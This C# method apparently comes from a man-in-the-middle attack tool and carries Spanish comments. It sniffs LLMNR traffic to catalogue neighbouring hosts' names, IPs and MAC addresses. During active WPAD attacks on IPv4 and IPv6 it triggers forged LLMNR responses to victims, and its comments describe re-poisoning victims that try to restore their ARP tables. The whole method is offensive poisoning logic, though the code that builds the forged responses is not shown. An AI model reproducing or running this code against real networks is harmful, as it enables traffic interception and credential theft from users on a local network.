private void AnalyzeLLMNR(Packet packet)
{
if (!(packet is EthernetPacket))
return;
// IPv4 y IPv6
if (packet.PayloadPacket.PayloadPacket is UdpPacket)
{
// Respuestas de LLMNR. De aqui podemos capturar el nombre.
if ((((UdpPacket)(packet.PayloadPacket.PayloadPacket)).SourcePort == 5355) && (((EthernetPacket)packet).Type == EthernetPacketType.IpV4))
{
LLMNR.LLMNRAnswer LLMNRAnswer = new LLMNR.LLMNRAnswer(packet.PayloadPacket.PayloadPacket.PayloadData);
// Solo lo cojemos las respuestas que son de tipo PTR o de tipo A
if (LLMNRAnswer.isPtrResponse == true && LLMNRAnswer.computerName != string.Empty)
{
Neighbor neighbor = Program.CurrentProject.data.GetNeighbor(((EthernetPacket)(packet)).SourceHwAddress);
if (neighbor == null)
{
neighbor = new Neighbor();
neighbor.computerName = LLMNRAnswer.computerName;
neighbor.AddIP(LLMNRAnswer.ipAddress);
neighbor.physicalAddress = ((EthernetPacket)(packet)).SourceHwAddress;
Program.CurrentProject.data.AddNeighbor(neighbor);
NewNeighbor(this, new NeighborEventArgs(neighbor));
}
else
{
neighbor.computerName = LLMNRAnswer.computerName;
Program.CurrentProject.data.AddNeighbor(neighbor);
}
}
}
if ((((EthernetPacket)packet).Type == EthernetPacketType.IpV4) && (((UdpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort == 5355))
{
SynchronizedCollection<Attack> lstAttacks = Program.CurrentProject.data.GetAttacks();
// En caso de MITM ARP -> Si el equipo está intentando restablecer su tabla ARP ... se le vuelve a envenenar
foreach (Attack attk in lstAttacks.Where(A => A.attackType == AttackType.WpadIPv4 && A.attackStatus == AttackStatus.Attacking))
{
MitmAttack mitmAtt = (MitmAttack)attk;
if (((IPv4Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress.Equals(mitmAtt.t2.ip))
WpadIPv4Attack.Instance.GenerateLLMNRResponse(packet);
}
}
if ((((EthernetPacket)packet).Type == EthernetPacketType.IpV6) && (((UdpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort == 5355))
{
SynchronizedCollection<Attack> lstAttacks = Program.CurrentProject.data.GetAttacks();
// En caso de MITM ARP -> Si el equipo está intentando restablecer su tabla ARP ... se le vuelve a envenenar
foreach (Attack attk in lstAttacks.Where(A => A.attackType == AttackType.WpadIPv6 && A.attackStatus == AttackStatus.Attacking))
{
MitmAttack mitmAtt = (MitmAttack)attk;
if (((IPv6Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress.Equals(mitmAtt.t2.ip))
WpadIPv6Attack.Instance.GenerateLLMNRResponse(packet);
}
}
}
}
